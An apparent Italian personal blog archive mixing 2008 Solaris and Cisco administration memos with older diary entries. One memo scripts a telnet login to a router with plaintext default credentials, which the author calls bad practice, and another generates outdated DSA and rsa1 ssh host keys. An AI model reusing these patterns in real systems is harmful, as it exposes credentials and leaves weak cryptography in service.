objNetwork.MapNetworkDrive strDriveLetter3, strRemotePath3 _
& "\" & strUserName & "$"
Wscript.Quit

Solaris - Inetd SVC

Mon, 08 Sep 2008 00:55:10 +0000

Breve memo sull’attivazione del servizio tftpd su solaris.

#svcs tftp/udp6
svcs: Pattern ‘tftp/udp6′ doesn’t match any instances
STATE STIME FMRI
#grep tftp /etc/inetd.conf
#tftp dgram udp6 wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot

Decommentare “#tftp dgram udp6 …” nel file /etc/inetd.conf

# grep tftp /etc/inetd.conf
# TFTPD - tftp server (primarily used for booting)
tftp dgram udp6 wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot

# inetconv
inetconv: Notice: Service manifest for 100235/1 already generated as /var/svc/manifest/network/rpc/100235\_1-rpc\_ticotsord.xml, skipped
inetconv: Notice: Service manifest for 100083/1 already generated as /var/svc/manifest/network/rpc/100083\_1-rpc\_tcp.xml, skipped
inetconv: Notice: Service manifest for 100068/2-5 already generated as /var/svc/manifest/network/rpc/100068\_2-5-rpc\_udp.xml, skipped
tftp -/var/svc/manifest/network/tftp-udp6.xml Importing tftp-udp6.xml …Done

server # svcs tftp/udp6
STATE STIME FMRI
online 12:56:05 svc:/network/tftp/udp6:default

Cisco - Kerberos and telnet

Sun, 07 Sep 2008 19:51:39 +0000

Questa e’ una cosa che spesso riguarda piu’ in client telnet che non gli OS Cisco, che durante la procedura di login tentano la procedura di automatic login, generando questo questo errore:

leobook:~ leonardorizzi$ telnet route01-nov.stars.deepreflect.net

Trying xxx.xxx.xxx.xxx...
Connected to route01-nov.stars.deepreflect.net.
Escape character is '^]'.

User Access Verification

Username: Kerberos:     No default realm defined for Kerberos!

Questo ovviamente deriva dalla mancanza di configurazione dell’autenticazione kerberos sul sistema, cosa che ovviamente non e’ strettamente necessaria; Per evitare di vedere e creare nei log righe di errore, semplicemente basta usare il parametro -K di telnet che corrisponde citando il man “-K Specifies no automatic login to the remote system.”

leobook:~ leonardorizzi$ telnet -K route01-nov.stars.deepreflect.net
Trying xxx.xxx.xxx.xxx...
Connected to route01-nov.stars.deepreflect.net.
Escape character is '^]'.

User Access Verification

Username:

Altra alternativa disattivare l’autologin dalle impostazioni di telnet con:

leobook:~ leonardorizzi$ echo default unset autologin >~/.telnetrc

Cisco - Change Dynamic NAT

Sun, 07 Sep 2008 19:33:21 +0000

Vi sara’ mai capitato di dover riconfigurare il NAT, Route MAP o simili su router in condizioni di nat dinamico, nella maggior parte dei casi si ricevono questi errori:

Dynamic mapping in use, cannot remove
%Pool outpool in use, cannot destroy

Si risolve usando il comando “clear” nello specifico:

clear ip nat translation *

dopodiche’ si puo’ agire sul nat indisturbati

conf t
no ip nat pool old pool name
ip nat pool new pool

Ricordo che in molti casi per poter agire su alcune configurazioni e’ necessario mettere in modalita’ “shutdown” le interfacce direttamente interessate nelle procedure di NAT

Cisco - Console Cable Pin

Sat, 30 Aug 2008 16:16:51 +0000

Signal	Console Port (DTE)	RJ-45 Rolled Cable	Adapter	Adapter	Signal
	RJ-45	RJ-45 Pin	DB-9 Pin	DB-25 Pin
CTS	1	8	7	4	RTS
DTR	2	7	4	2	0
TxD	3	6	3	2	RxD
GND	4	5	5	7	GND
GND	5	4	5	7	GND
RxD	6	3	2	3	TxD
DSR	7	2	6	8	DTR
RTS	8	1	8	5	CTS

SSH key

Sat, 30 Aug 2008 16:08:38 +0000

Nel caso succeda che il demone sshd non parta per i seguenti motivi:

Could not load host key: /etc/ssh/ssh_host_key
Could not load host key: /etc/ssh/ssh_host_dsa_key
Disabling protocol version 1. Could not load host key
Disabling protocol version 2. Could not load host key

Con questi comandi si generano le chiavi host:

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key

Milano in agosto

Wed, 27 Aug 2008 17:53:49 +0000

Primi tre giorni di lavoro, Milano e’ ancora vuota sembra incredibile, niente traffico e ho pure trovato parcheggio.

Questo ha meritato una foto, in fondo si puo’ notare la stazione centrale, e la strada praticamente deserta.

Cisco - IOS Image

Sat, 23 Aug 2008 07:19:12 +0000

Breve prontuario per riconoscere le immagini e le relative feature (sono indicate le principali):

IP : y

ADSL : 7

IP PLUS : s

VOICE : v

CRYPTO (maggiore di 64-bit) : k9

CRYPTO (minore di 64-bit) : k8

IBM/AT/IPX : bnr2

FW/IDS : o3

H323 : x

IP/IPX/APPLETALK : bin

IP/FW : oy6

LAWFUL INTERCEPT : u2

ENTERPRISE : js

SSG : g4

Inoltre le immagini sono presenti altre immagini raggruppate per feature:

IP BASE = IOS entry level nessuna caratteristica principale IP VOICE = VoIP, VoFR, IP Telephony

ADVANCED SECURITY : IOS Firewall, IDS, SSH, IPsec, VPN, 3DES SP SERVICE : MPLS, SSH, ATM, VoATM ENTERPRISE BASE : Multiprotocol, IBM

ADVANCED IP SERVICE : IPv6, Advanced Security, Service Provider Service ENTERPRISE SERICE : Enterprise Base, IBM Full, Service Provider Service

ADVANCED ENTERPRISE SERVICE : Tutto quello descritto prima.

Cisco Catalyst - IOS Upgrade

Sat, 23 Aug 2008 06:15:52 +0000

Comandi base per aggionare un Catalyst 29xx partendo da un’immagine IOS compresssa in tar, ovviamente e’ indispensabile avere a disposizione un server TFTP con gia’ caricata nella root l’immagine.

Fase 1 - Eliminare l’immagine e eventuali web-interface con questi due comandi:

Switch#delete flash:c0000-versioneios.bin
Switch#delete flash:html/*

Fase 2 - Copiare scompattare e caricare l’immagine dall’TFTP

Switch#archive tar /xtract tftp://10.10.10.1/c0000-versioneios.bin flash:

Fase 3 - Verificare l’immagine

Switch#verify flash:c0000-versioneios.bin

Memo:

Le immagini con questa notazione “i6k2l2q4” hanno le seguenti feature: EI AND SI IOS CRYPTO

Cisco Catalyst - Port Monitoring

Fri, 22 Aug 2008 13:14:15 +0000

Piccolo memo sull’uso delle funzioni di monitoraggio, sui catalyst, nel caso di debba sniffare il traffico per installare un IDS o per un po’ di sana diagnostica in caso di problemi.

Se lo switch supporta le sessioni di monitoring, esempio se si vuole monitorare la porta 10 usando uno sniffer sulla 20 cosi':

!
monitor session 1 source interface Fa0/10
monitor session 1 destination interface Fa0/20
!

Se lo supporta il port monitoring, esempio se si vuole monitorare con uno sniffer sulla porta 20 il traffico tra porta 10 e porta 1:

!
interface FastEthernet0/20
port monitor FastEthernet0/10
port monitor FastEthernet0/1
port monitor VLAN1
!

Home network

Wed, 20 Aug 2008 09:51:47 +0000

Un pezzetto del rack di casa, in vista il catalyst 2950 e il router 2600

Solaris - Patch It

Wed, 20 Aug 2008 09:42:45 +0000

Un piccolo memo sul sistema di gestione delle patch in Solaris, patch ID 121118(SPARC version) o 121119(x86 version)

Questi sono i comandi principali:

Analyze: /usr/sadm/bin/smpatch analyze Download: /usr/sadm/bin/smpatch download Add Patch: /usr/sadm/bin/smpatch add

Bisogna registrare il sistema con questo comando:

# /usr/sbin/sconadm register -a -r /tmp/registrationprofile.properties

Il file /tmp/registrationprofile.properties deve essere una cosa simile a questo:

userName=newuser
password=newpassword
hostName=
subscriptionKey=
portalEnabled=false
proxyHostName=
proxyPort=
proxyUserName=
proxyPassword=

Dyndns Get Ip from cisco

Wed, 20 Aug 2008 09:06:10 +0000

Dal momento che l’SNMP non ha voglia da andare e avendo bisogno urgente di aggiornare un host su un dns, e essendo il router un Cisco 837 e non potendo usare ios 12.4 che supporta questo genere di protocollo, ho scritto qualche riga.

Un cron esegue ogni 15 minuti questo script: /opt/dyn/noip2 -i `/opt/dyn/gci`

Ecco il contenuto di gci
#!/bin/sh
host=192.168.x.x
port=23
login=cisco
passwd=cisco
cmd='sh ip int brief'
(echo open ${host} ${port}
sleep 1
echo ${login}
sleep 1
echo ${passwd}
sleep 1
echo ${cmd}
sleep 1
echo exit) | telnet|grep Dialer0|awk '{print $2}'

Sarebbero cose da non usare.

Cisco IPv6

Wed, 20 Aug 2008 08:47:04 +0000

Anche se non credevo che fosse cosi’ semplice i tunnel 6to4 sui router cisco non sono una cosa complessa come sembra posto uno straccio di configurazione usato con il tunnel broker Hurricane Electric sul server di parigi:

interface Tunnel0
no ip address
no ip redirects
no ip unreachables
no ip proxy-arp
ipv6 address 2001:470:1F12:10A::2/64
ipv6 enable
tunnel source xxx.xxx.xxx.xxx
tunnel destination 216.66.84.42
tunnel mode ipv6ip
!
ipv6 route ::/0 Tunnel0

Attenzione questa e’ usata su un 2600 con IOS 12.3 IP FW IDS PLUS / IPSEC Ricordo che e’ bene inserire un ACL che faccia passare il protocollo 41 solo dall’end point del tunnel e ovviamente lasciare le risposte icmp abilitate

IPv6

Wed, 20 Aug 2008 08:41:45 +0000

Visto che ogni tanto sale l’inutile fobia dell’imminente fine degli IP4 (cosa che reputo ridicola) ho deciso che era il momento di muovere un po’ la mia rete dato che iniziava ad essere abbastanza monotona.

Quindi dal 22 Luglio ho allocate due classi di ip:

2001:470:c86f::/48 2001:470:1f13:10a::/64

Gia’ che ero in vena di novita’ c’e’ pure un nuovo dominio stars6.net dedicato alle prove del caso.

Solaris

Wed, 20 Aug 2008 08:36:29 +0000

Da qualche mese a questa parte ho avuto la pazza idea di usare solaris, credo che non ci sia migliore cosa che provarlo in produzione, quindi ho spolverato una Ultra 10 presa tempo fa e mai seriamente utilizzata, tolto la SunPCI e installato Solaris 10.

Sun Ultra 5/10 UPA/PCI (UltraSPARC-IIi 440MHz), No Keyboard
OpenBoot 3.25, 512 MB (50 ns) memory installed, Serial #15184795.
Ethernet address 8:0:20:e7:b3:9b, Host ID: 80e7b39b.

Rebooting with command: boot

Boot device: /pci@1f,0/pci@1,1/ide@3/disk@0,0:a
File and args: SunOS Release 5.10 Version Generic_127127-11 64-bit
Copyright 1983-2008 Sun Microsystems, Inc.  All rights reserved.
Use is subject to license terms.

Hostname: ultra10
/dev/rdsk/c0t0d0s1 is clean

ultra10 console login:

Visto che poi e’ partito tutto, tolto la tastiera e messo in armadio fa una certa scena, in ogni caso, web e mail server non se la cava male per, l’eta’ che ha.

My Life

Wed, 20 Aug 2008 08:17:24 +0000

Vita e teconologia.

CH36

Wed, 20 Aug 2008 07:37:51 +0000

About Me

Sun, 22 Jun 2008 03:32:16 +0000

My name is Leonardo, but most people call me Leo though.

I’m self-employed I consider myself an IT Architect I mainly work with Unix/Linux and sometimes Network Design, in recent years I also became an Entrepreneur creating and investing in technology companies. I’ve been involved (also creator) in various projects like experimental enterprise infrastructure (www.wide-net.org), Geographic Wireless Network (air-way) and other Retrocomputing / Network / HAM related projects. I live in Italy not so far from Milan, but I spend most of my time far from home due to work.

You can find other information from “social” addicted profile, to be honest I’m not really active on those but you can still find funny stuff:

- Linkedin => https://www.linkedin.com/in/lrizzi

- Mastodon => https://mastodon.social/@lrizzi

- Flickr => https://www.flickr.com/photos/stars6/

- GitHub => https://github.com/lrizzi

Let me know if you have any questions: leo [ at ] deepreflect.net

Hello world!

Sun, 22 Jun 2008 03:32:16 +0000

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

Frenologia

Mon, 02 Oct 2006 06:08:05 +0000

Hai la capacita’ cranica di un fermacarte.

Love

Sun, 01 Oct 2006 06:09:31 +0000

“…radiorizzonti FM 88; love is all you need…”

Chiudo

Mon, 11 Apr 2005 15:18:13 +0000

Dopo tante parole sprecate, chiudo la baracca che forse e’ meglio!

[Leo]

La fine e’ importante in tutte le cose

Sun, 10 Apr 2005 15:43:14 +0000

Questa e’ una frase di un celebre film, ma come inizia tutto? Forse e’ giunta l’ora che torni a casa…

[Leo]

Vero o Falso

Thu, 31 Mar 2005 17:25:03 +0000

Ma e’ vero che dico sempre le solite cosa? Prevedibile?

[Leo]

Unione

Sun, 27 Feb 2005 23:52:23 +0000

Domandona: come e’ possibile esprimere un ideale di unione di compattezza di e ideologia comune e coerente quando tutto questo non esiste in un gruppo?

Direi che e’ pressoche impossibile, come al solito le cose che vengono definite impossibili appunto perche’ tali, sono quelle che devono essere realizzate a tutti i …

14 - 15 Febbraio

Tue, 15 Feb 2005 22:48:20 +0000

Dopo tanto tempo mi viene in mente che bisogna scrivere qualcosa di serio ogni tanto quindi prendo come spunto due giornate abbastanza inutili: 14 Febbraio (il giorno degli innamorati o delle coppie non e’ la stessa cosa!) 15 Febbraio (il giorno dei single, che sinceramente non ho mai sentito ma dato che …

Il server sta morendo.

Tue, 01 Feb 2005 21:39:29 +0000

E’ successo in questi giorni che il server sta avendo qualche problema di stabilita’ la RAM e Swap non sono piu’ sufficenti. Io l’avevo detto…

Il database server quello che ovviamente occupa la maggior parte della ram insieme al webserver che in giornata non hanno per niente funzionato bene. E’ stato …

WiFi

Wed, 12 Jan 2005 23:10:43 +0000

Certo che la tecnologia wireless e’ davvero comoda oggi sono andato fino in strada e il portatile andava e navigavo tranquillamente senza problemi, poi da quando mi sono accorto che c’erano 3 gradi ed ero senza giacca sono tornato in casa, appena ho tempo faccio qualche test in piu’ per …

Treno, movimento, pensiero…

Mon, 10 Jan 2005 12:38:46 +0000

Il treno è propio una concezione di movimento… Il movimento cambia la prospettiva delle cose e quindi a le fa apparire quasi diverse…

Insomnia

Wed, 29 Dec 2004 03:55:57 +0000

Ha ha ha sempre così va a finire da un po’ di notti non riesco a fornire cosa sia non lo so è tutto così strano… Posso dire che tante cose stanno cambiando anzi tutto sta cambiando e io continuo ad osservare, forse un meno lontano di prima in fondo …

E’ tardi per dire buona notte?!

Tue, 28 Dec 2004 04:02:54 +0000

Da quanto tempo non ci sediamo ad osservare il sole sorgere, oramai diamo per scontato che questo succeda quindi ci accontentiamo di vederlo in foto o in tv… E in fondo non è mai tardi per dire ciò che si pensa…

Buona Notte Leo

Conoscere, si ma cosa?

Fri, 24 Dec 2004 03:23:40 +0000

Be come al solito la notte porta consiglio, di solito lo si dice prima di andare a letto… Io lo dico da sveglio visto che per me non fa differenza, come al solito non c’e’ voglia di dormire, non c’e’ niente da fare (si fa per dire) quindi si …

Cell post…

Fri, 24 Dec 2004 02:22:58 +0000

Visto che oramai sono presso in giro è bene sperimentare qualcosa di “mobile”

E’ tardi…(?)

Mon, 20 Dec 2004 01:29:11 +0000

Certo, e’ notte domani devo andare a scuola ma in fondo non sono stanco la vita mi ha sempre offerto delle cose meravigliose anche tra mille difficolta’, non vorrei mai cambiare quello che e’ stato, la storia penso non sia una cosa da vivere, semplicemente qualcosa da creare…

Scheda di rete GigaBit

Mon, 15 Nov 2004 21:02:56 +0000

Premetto che prima di arrivare a questa soluzione ci ho pensato per circa un mese. La scheda di rete in questione e’ una ciofega integrata in una scheda madre dell’Asus (P4P800-E Delux) scheda che e’ piena di periferiche inutili come 8 porte USB, 8 canali per l’audio, 2 di audio digitale, controller Raid anche SATA.

Ma ora arriviamo alla scheda di rete una Marvell 88E8001 Gigabit ethernet una scheda di inutilita’ pazzesca perche’ io 1Gbit/s non lo metto mica su cavo di rame ma solo su fibra ottica, e poi mi piacerebbe trovare qualcuno che la usa realmente a quella velocita’ che poi resta sempre una cosa teorica (come i 10Mbit/s delle schede BNC coassiali chi li ha mai visti tutti e 10?). Fattosta’ che i driver sono progettati primariamente per connessioni 1Gbit/s non i classici 100 Mbit/s che penso usino tutti i comuni mortali quindi ti sparano un MTU 1512 o forse di piu’ questo inevitabilmente crea parecchi problemi su reti ethernet normali (error, drop) che di solito lavorano con MTU di 1500 o inferiori la maggior parte dei pacchetti vengono scartati anche dai firewall sono impostati per scartare pacchetti frammentati o di dimensioni non standard. Tralasciando i disastri una volta sistemato l’MTU operazione che si puo’ fare anche comodamente dal driver va tutto aposto!

Per chi non lo sapessere MTU sta per Max Trasfert Unit sarebbe la grandezza massima di un pacchetto generata da un sispositivo di rete (fisico o virtuale), questo fattore e’ molto importante da considerare su reti mascherate da router/gateway che sono ciolle oppure strane politiche che usano gli ISP per le connessioni ADSL, che rifiutano il 1500 perche’ funzionanti a 1492 o inferiori.

Scheda di rete GigaBit

Mon, 15 Nov 2004 19:02:07 +0000

“Codice da vinci”

Sun, 24 Oct 2004 21:56:59 +0000

Da poco ho finito di leggere un libro intitolato “Il codice da Vinci” scritto da Dan Brown, be devo dire che come libro mi ha colpito molto e’ scritto molto bene strutturato in capitoletti che ti trasportano da una parte all’altra della storia e ti invogliano uno dopo l’altro a …

Un Mese

Mon, 18 Oct 2004 22:25:42 +0000

Cavolo come passa il tempo, siamo gia’ arrivati ad un mese dall’iniziono della scuola, e’ trascorso tutto bene tranquillo pacifico senza particolari problemi be a parte l’incredibile sonno che c’e’ sempre ma e’ una cosa del tutto nella norma. Ogni tanto mi manifesto giusto per dire si ci sono ancora, vivo!

Leo …

Capture

Wed, 29 Sep 2004 22:08:54 +0000

Da tre giorni ho rispolverato la macchina fotografica della casio piccola e comoda a differenza della nikon be il livello qualitativo e’ discutibile ma la comodita’ non si tocca, sta pure in tasca.

La praticita’ e velocita’ di azione e’ la base della fotografia che definisco “catturata” non e’ la classica foto di gruppo dove tutti ridono oppure classiche immagini statiche senza “vita", spontaneeta’ questa e’ la cosa piu’ importante.

Lascio il tutto il resto alle immagini => Gallery

Spostamenti Vari

Sun, 19 Sep 2004 20:20:14 +0000

Oggi giornata ti pulizie e ordine fra i serverini, ho mandato in pensione il 486 con NetBSD che faceva da dhcp e netmonitor, poi ho spostato il gateway su una macchina piu’ potente visto che quello vecchio non reggeva piu’ il carico di lavoro.

Altro niente tutto tranquillo.

Casa di m-e-r-d-a

Wed, 15 Sep 2004 22:12:00 +0000

Riassunto della giornata stamattina abbastanza tutto bene, la giornata pure a scuola abbiamo fatto solo 5 ore, e’ volata. Oggi niente pioggia, fa un po’ freddo inizia a sentirsi l’autunno la solita’ umidita’, insomma, nulla di male.

Pomeriggio tranquillo solita musica, solite ore di lavoro leggere. E anche qui tutto ok, stranamente anche i server vanno tutti senza problemi.

Strano qualcosa non mi torna, non e’ ancora successo niente a parte una piccola parentesi non degna di particolare nota.

Comunque stasera dovevo mettere a posto la presa in salotto dopo aver posto il cavo per il della parabola, l’operazione di per se era molto semplice dovevo solo collegare la presa una vecchia bticino della serie magic una di quelle nere aveva ancora il supporto in metallo senza isolante. A questo punto inizio a girare la vite del cavo della messa a terra (cavo di rame rigido, qui spiega tutto) gnic gnic gnic giro la vite gnic gnic gnic ma sta cazzo di vite si gita o no? Dopo mille fatiche collego la messa a terra anche se la situazione non mi piaceva, cerco di svitare la vite della massa o neutro boo i cavi sono simili sto impiato e fatto col culo… a quel punto vedo un scintillina e no la situazione no mi convince proprio, osservo piu’ attentamente la presa non sempre aver niente di anormale, ma continuo alla fine non e’ la prima volta che faccio questo lavoro lavoro sempre con la tensione nell’impianto, a questo punto vado per svitare l’altra vite gnic gnic frisszz fruiszsssz pufff strizzzxss, o cazzo sta andando a fuoco, qui iniziano le bestemmie di ogni tipo la luce e’ ancora accesa in quei pochi secondi prendo la presa e cerco di strapparla (ok lo so sono un folle) ma e’ possibile che la corrente c’e’ ancora (brucia brucia bruciaaaaaaa), se il salvavita non si sveglia faccio tempo a cuocere, cazzo io non ho un salvavita su questo impianto, altre bestemmie e imprecazioni di ogni genere dopo circa 8 secondi buio, anche il fuoco si sta spegnendo, meno male almeno la casa e’ quasi salva. A questo punto i risultati ho fatto un paio di foto: http://reason.deepreflect.net/misc/DSCN4205.JPG http://reason.deepreflect.net/misc/DSCN4206.JPG

Tutto gremato a parte il muro e la presa nessun danno a oggetti e persone (anche se mi brucia un dito).

Che bel modo di passare il martedi’ sera……

Scuola

Wed, 08 Sep 2004 23:08:54 +0000

Bene bene e’ iniziata la scuola pensavo andasse molto peggio, per l’ennesima volta mi sono preoccupato troppo e’ andato tutto bene. E’ solo questione di attimi, momenti che rendono tutto diverso, quante volte capita che solo 5 minuti possano cambiare una giornata, in questi pochi momenti sono i sentimenti che e’ come se intaccassero direttamente lo stato d’animo. Poi cosa succede? Il tempo scorre, corre io dico: che si lasci correre io ho il mio tempo e la mia vita.

Gateway

Wed, 08 Sep 2004 22:32:48 +0000

Da quando e’ subentrato il nuovo server sono iniziati i problemi sul gateway perche’ non esegue correttamente il nat con iptables sulla porta 80 quindi ho puntato ad fare un semplice redirect.

Giusto per dover di cronaca metto anche i dati del gateway:

host privato: reflect.stars
host pubblico: reflect.deepreflect.net
servizi disponibili: Firewalling, Mailserver, Router.
CPU: Pentium MMX - 166Mhz
RAM: 69 MB
HDA: 800 MB
System: Slackware 9.1

New Server

Tue, 07 Sep 2004 22:30:52 +0000

Be da qualche giorno e’ operativo il nuovo server che ospita DB e Web funziona tutto a meraviglia, domani inizia la scuola! Mannaggia che palle…

I dati del serverozzo nuovo:

host privato: reason.stars
host pubblico: reason.deepreflect.net
servizi disponibili: Web, Mysql.
CPU: Pentium 2 - 400Mhz
RAM: 196 MB
HDA: 3 GB
System: Slackware 9.1

DB server

Tue, 31 Aug 2004 02:36:11 +0000

Il mio caro db server sta morendo i messaggi minacciosi e allo stesso tempo incomprensibili del demone mysqld sono sempre piu’ insistenti ho la netta sensazione che durera’ poco devo assolutamente trovare un sostituto. Il netmonitor non penso abbia voglia di fare anche il db serv, le cose si complicano…

CED e NOC

Tue, 31 Aug 2004 02:01:46 +0000

Stasera ho avuto l’idea di iniziare la riorganizzazione della rete in modo di avere il CED (centro elaborazione dati) dove ci fosse maggiore potenza dicalcolo e maggiore connettivita’ bilanciata e ben simmetrica e lasciare da me solo pochi servizi base una sorta di sistema di back-up oltre a questo il NOC (network operations center) essendo io a dovermi smazzere la parte principale della sistemistica viene molto comodo avere tutto a portata di mano anche se sto pensando a un NOC-M(obile)™ che sicuramente mi aiuterebbe nel monitoraggio in tempo reale anche quando non sono connesso fisicamente ad una rete. La situazione attuale non e’ fra le migliori gli isp impongono parecchi limiti alla connettivita’ quindi il mio lavoro (e non solo mio) implica parecchi sforzi e rompimenti, fino d’ora siamo riusciti a far andare inrete “Liero” un programma che ci permette di ottimizzare il nostro lavoro nei momenti più difficili.

DB server

Thu, 26 Aug 2004 03:54:58 +0000

Sto avendo seri problemi nella realizzazione del server che gestisce i database sql sia come scelta hardware sia per la scelta del sistema operativo ora gira su linux, ma volevo optare per un sistema piu’ leggero e dedicarlo solo a quello; Come prima prova stavo scegliendo Solaris 9 quindi tutto contento scarico i 4 cd del sistema provo e riprovo e non va quindi cerco una specie di manuale e mi cade l’occhio sui requisiti di sistema x86 (ok ci siamo) 128MB di ram (hum… Ne ho meno della metà) hd 2.0 GB (forse con 4 dischi in raid 0 ci potrei arrivare) ok si vede che la sun non ha problemi hardware io si quindi -1

QNX 6.2.1 Neutrino sistema noto per la sua leggerezza e stabilita’ tanto che secondo me andrabbe anche su un tostapane in ogni caso lo usano sui terminali di controllo delle centrali nucleari, partendo da questo presupposto anche se abbattuto dal sistema precedente parto molto fiducioso, installo il tutto in meno di 10 minuti il sistema completo in un disco di 200MB (quindi penso cavolo sto sistema e’ davvero figo) una volta che svolge il suo velocissimo avvio mi trovo davanti ad una interfaccia gafica degna di notevole rispetto e velocita’. Che bello! Ma mo il cursore come diavolo lo muovo agitando il monitor? Vabbe’ cerchiamo un mouse seriale, dopo ardue ricerche ne trovo 2, bene non si sa mai. Ovviamente il sistema non ne vuole sapere di riconoscere il mouse a stento riesco ad aprire una console, ora io non ho niente contro qnx e’ un bel sistema ma e’ possibile che non si capisca niente? Pure “vi” non risponde ai comandi standard. Per essere un os unix basato su standard posix ho gia speso troppo tempo -2

Pensa pensa, be netbsd non e’ male ma e’ gia’ su una machina freebsd mi sembra troppo pesante cosa resta? Proprio lui openbsd, be questo mi sembra tosto il sistema piu’ sicuro al mondo bene proviamolo cerca cerca la iso non esiste quindi una bella installazione da rete sempre se andasse macina e rimacina la scheda realtek non sembra voglia andare; ok proviamo una 3com, questa gli piace gia’ di piu’ in pochi secondi il super dhcp assegna un ip 192.168.1.254 ma cazzarola hai un range di 153 ip devi partire propio dall’ultimo? Oggi sono polemico in ogni caso funziona tutto va che bello installa tutto senza problemi, parte il sistema ovviamente su sistemi bsd solo sh, questo punto faccio una scoperta pkg_add, risolve le dipendende dei pacchetti in modo completamente automatico, mi ha stupito… Dopo di questo cerco /etc/rc.d/ hum… non c’e’ ok cerchiamo qualcosa d’altro /etc/rc questo mi sembra faccia la stessa funzione installo il DB mysql con il fantastico pkg_add funziona e’ veloce e senza problemi, a questo punto sento rumori strani provenire da disco -__- ovviamente il sistema non contento inizia ad andare a scatti.

Non e’ giornata riavvio tutto con il disco originale con linux a tempo debito si vedra’…

Blog idea

Wed, 25 Aug 2004 02:14:53 +0000

E così inizio questo “nuovo” esperimento in fondo è una cosa gia’ tentata in passato a con scarso successo e’ ormai passato piu’ di un anno ho avuto l’idea di tenere un diario, con la promessa che un giorno qualcuno lo possa leggere. Si tratta della mia vita ma vista da un punto di vista più riflessivo, un pò come se ci fosse scritto quello che non ho mai voluto dire per il semplice motivo che non era necessario. Con questo voglio dire che raramente scriverò in modo dettaglito cosa mi succede al massimo ci saranno degli accenni oppure occasioni particolarmente significative.

Link

Wed, 25 Aug 2004 01:37:08 +0000

Ora devo fare una piccola premessa: se non mi decido a collegare il palmare ad un server sarà un po’ tanto difficile che i post compariranno nella pagina :) Detto questo posso dire che l’inizio di questo esperimento poteva andare meglio resta il fatto che il mio palmare per quanto vecchio sia di messaggi ne può contenere parecchi in ogni caso non deve essere così. Stasera un film di Polaski dal titolo The ningth gate mi ha incuriosito parecchio per quanto riguarda la letteratura occulta, quelli che mi conoscono sanno benissimo che non credo in divinità di nessuna religione mi piace pensare a delle forze di natura ignota (non è detto che siano di origine divina o soprannaturale ) che si occupano di tenere in equilibrio il mondo… Che sonno continuerò il discorso…

Il senso di tutto.

Fri, 16 Apr 2004 18:18:40 +0000

Ci illudiamo di dare senso a tutto quanto, ma inevitabilmente il senso non c’e’. Senza senso pero’ nulla puo’ esistere.

Details

Fri, 16 Apr 2004 18:15:09 +0000

A volte mi hanno detto che pensando e osservando troppo i dettagli si perde ciò che può essere il concetto base il motivo per cui una determinata cosa c’è, anche se questo può essere vero a volte è proprio il particolare che rende la complesso una cosa unica.

Tempo

Sat, 20 Mar 2004 02:06:22 +0000

A volte e’ proprio vero che la gente non si ferma piu’ a vedere cosa gli accade realmente o semplicemente cosa gli succede intorno…

[diario]

Sun, 19 Oct 2003 15:20:24 +0000

test

[diario]

Tue, 30 Sep 2003 18:50:59 +0000

E gia quando si arriva ad un certo punto non si ha neppure la forza per piangere, ora sto guardandomi intorno e valutando se in fondo ne valga veramente la pena si stare in questo posto, oppure fare qualcosa per cambiare questo “mondo” (inteso come ambito ristretto non come pianeta) ho sempre detto che non ci si deve lasciar andare eppure forse ci sto cadendo e penso proprio che sia colpa mia… [Leo]

[diario]

Tue, 30 Sep 2003 18:35:30 +0000

Cazzo sto diventando apprensivo, tra tre giorni c’e’ la smau non ho i biglietti eppure sono strapreoccupato, e pensare che non e’ mai stato cosi’ non sono cosi’ ma allora cosa sto diventando? Sembro un essere inanimato (poco animato) senza vita, senza sentimenti, che dedica la vita a qualcosa che qualcuno a definito la perfezione, qualcosa che non potesse essere influenzato dai pensieri, qualcosa che percepisce qualcosa come veramente e’. [Leo]

{Edit} Forse sono preoccupato perche’ se sto via di casa troppo c’e’ il rischio di tornare e trovare solo morte e distruzione non e’ uno scherzo non sono mai stato cosi’ serio.

[diario]

Tue, 30 Sep 2003 18:29:24 +0000

Si puo’ volere bene a una persona al punto di ucciderla (moralmente e/o fisicamente)?

[diario]

Tue, 30 Sep 2003 18:28:54 +0000

Che settimana di merda

[diario]

Tue, 30 Sep 2003 18:27:54 +0000

E proprio quando tutto sembra sia statico ti accorgi che non e’ cosi’ anzi si sta lentamente sgretolando sotto i tuoi piedi… si e’ proprio un processo lento e distruttivo. Forse non e’ che non ci si accorge di queste cose solo che fisicamente e moralmente il corpo umano non le vuole accettare, sembra proprio un meccanismo di difesa contro noi stessi e contro il mondo. Mi sento tanto stupido, mi sto chiudendo sempre di piu’ per scappare dalla realta’, una sorta di vittimismo (“che fa la vittima”) dal mondo, piu’ che dal mondo dalla famiglia o meglio dentro quello che succede in una cosa che una volta si poteva chiamare famiglia ora non e’ niente d’altro che un nucleo di persone alcune non autosufficenti (io, non sono ancora maggiorenne) che in parte si vogliono bene e in parte si odiano. [Leo]

[diario]

Thu, 04 Sep 2003 18:36:37 +0000

Perche’…

[diario]

Wed, 03 Sep 2003 19:23:56 +0000

Questa non e’ vita… [Leo]

[diario]

Mon, 25 Aug 2003 03:30:52 +0000

La vita e’ dura ma resisto!

[diario]

Mon, 25 Aug 2003 03:29:57 +0000

Avevo proprio bisogno di avere uno sfogo era tanto che non mi sentivo rilassato e’ isolato nei mie pensieri, senza che nessuno potessere turbare la mia tranquillita’, e sopratutto la mia liberta!

Non ci sono confini, non ci sono limiti!

[Leo]

[diario]

Mon, 25 Aug 2003 03:25:32 +0000

Maschera: Prima o poi avra’ una spiegazione anche questo come del tutto del resto…

[diario]

Mon, 25 Aug 2003 03:25:03 +0000

…Sempre peggio…

[Leo]

[diario]

Mon, 25 Aug 2003 03:23:19 +0000

Cornice: Il concetto di cornice e’ interessante anche se e’ un dettaglio che non tutti colgono, basta pensare quando si guarda un quadro, che sia bello o brutto e’ soggettivo e relativo in fondo la cornice non sembra avere un\‘importanza fondamentale, invece e’ parte del contesto…

Be’ se si parla di cornice non si puo’ non parlare di Maschere

[diario]

Mon, 25 Aug 2003 03:18:59 +0000

Bene, il bello di quando inizio a scrivere e che non smetterei mai al costo di digitare parole parole senza realmente scrivere niente! Forse e’ proprio questo il bello, oppure e’ una tortura!

+> Next +>

Chi lo sa cosa verra’ dopo, l’unica cosa in cui possiamo sperare e che realmente venga il resto non e’ che una cornice che puo’ rendere migliore o peggiore tutto il resto! [Leo]

[diario]

